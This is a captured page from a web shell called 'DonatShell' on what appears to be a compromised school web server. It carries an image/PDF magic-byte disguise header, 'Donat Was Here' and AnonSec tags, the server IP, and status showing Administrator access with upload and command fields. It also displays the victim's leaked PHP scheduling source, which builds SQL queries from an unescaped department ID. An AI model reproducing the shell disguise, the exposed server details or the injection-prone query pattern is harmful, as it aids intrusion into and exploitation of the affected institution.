GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/js_write_Schedule_Instructor.phpinc
<?
// Schedule/js_write_Schedule_Instructor.phpinc
// Set js variables needed for schedule management.

echo "
// BEGIN FILE ".basename(__FILE__)." ".currentDateTime().".";

t_Begin(); // Begin TRACKing js_write_Schedule.phpinc.

$jsText .= "
console.log('%c\t\t".basename(__FILE__)."','background-color:#000; color: #ccc;');";

// BEGIN Instructors.
// Define the ScheduleInstructor[] array.
// ScheduleInstructor[] = { instructorId:instructorId, Name:'instructorName' }
// Needs to deal with multiple departments some day. This is so a schedule can be setup across multiple departments such as CST/MMDT, or all Gen Studies or Gen Eds.
$jsText .= "\n"."
var ScheduleInstructor = []; // Instructors in this department.";
// Get the instructors (users) in this department.
$query = "
		SELECT user.userId
				 , userFirstname
				 , userMiddlename
				 , userLastname
				 , userNickname
				 , color
				 , CONCAT(IFNULL(userNickname,userFirstname),IF (ISNULL(userMiddlename),'',CONCAT(' ',userMiddlename)),IF (ISNULL(userLastname),'',CONCAT(' ',userLastname))) AS instructorName
			FROM `user`
			JOIN `userdata` ON userdata.userId = user.userId
			JOIN `user_department` ON user_department.userId = user.userId
		 WHERE userInactive = 0
			 AND user_department.departmentId = ".$scheduleInfo['departmentId']."
	ORDER BY instructorName
";
#d_Var('instructorResult',$query,'dq');
$instructorResult = query_do($query);
$instructorCount = $GLOBALS['_QUERY']['count'];
#d_Var('$instructorResult',$instructorResult,'d');
$userIdMaxWidth = spaceMaxFill($instructorResult, 'userId');
if ( !$instructorCount ) programmingError('No instructors found.');
// Store instructorIds.
query_seek($instructorResult, 0);
$instructorIds = array();
$instructorIndex = 0;
while ($thisInstructor = query_row($instructorResult)) { // Loop thru instructors.
	if ( $thisInstructor['color'] == '' ) {
		// Assign a color to the Instructor.
		$r = rand(1,255);
		$g = rand(1,255);
		$b = rand(1,255);
		$thisInstructor['color'] = twoDigit(dechex($r)).twoDigit(dechex($g)).twoDigit(dechex($b));
		$query = "
				UPDATE `userdata`
					 SET color = '".query_safe($thisInstructor['color'])."'
				 WHERE userId = ".$thisInstructor['userId']."
		";
		d_Var('userdataUPDATE',$query,'q');
		$userdataUPDATE = query_do($query);
		d_Var('$userdataUPDATE',$userdataUPDATE,'l');
	}
	$sp = spaceFill($thisInstructor['userId'], $userIdMaxWidth);
	$jsText .= "
		ScheduleInstructor[".$instructorIndex."] = { instructorId:".$thisInstructor['userId'].",".$sp." Name:'".$thisInstructor['instructorName']."', color:'".$thisInstructor['color']."' };";
	$instructorIndex++;
} // Loop thru instructors.
$jsText .= "\n"."
var InstructorLookup = {}; // Instructors in this department.";
// Get the instructors (users) in this department.
$query = "
		SELECT user.userId
				 , userFirstname
				 , userMiddlename
				 , userLastname
				 , userNickname
				 , color
				 , CONCAT(IFNULL(userNickname,userFirstname),IF (ISNULL(userMiddlename),'',CONCAT(' ',userMiddlename)),IF (ISNULL(userLastname),'',CONCAT(' ',userLastname))) AS instructorName
			FROM `user`
			JOIN `userdata` ON userdata.userId = user.userId
			JOIN `user_department` ON user_department.userId = user.userId
		 WHERE userInactive = 0
			 AND user_department.departmentId = ".$scheduleInfo['departmentId']."
	ORDER BY instructorName
";
#d_Var('instructorResult',$query,'dq');
$instructorResult = query_do($query);
$instructorCount = $GLOBALS['_QUERY']['count'];
#d_Var('$instructorResult',$instructorResult,'d');
$userIdMaxWidth = spaceMaxFill($instructorResult, 'userId');
if ( !$instructorCount ) programmingError('No instructors found.');
// Store instructorIds.
query_seek($instructorResult, 0);
$instructorIds = array();
$instructorIndex = 0;
while ($thisInstructor = query_row($instructorResult)) { // Loop thru instructors.
	$sp = spaceFill($thisInstructor['userId'], $userIdMaxWidth);
	$jsText .= "
		InstructorLookup[".$thisInstructor['userId']."] = { instructorId:".$thisInstructor['userId'].",".$sp." Name:'".$thisInstructor['instructorName']."' };";
	$instructorIndex++;
} // Loop thru instructors.
// END Instructors.

echo "
// END FILE ".basename(__FILE__)."
";

t_End(); // End TRACKing js_write_Schedule.phpinc.
?>

Anon7 - 2022
AnonSec Team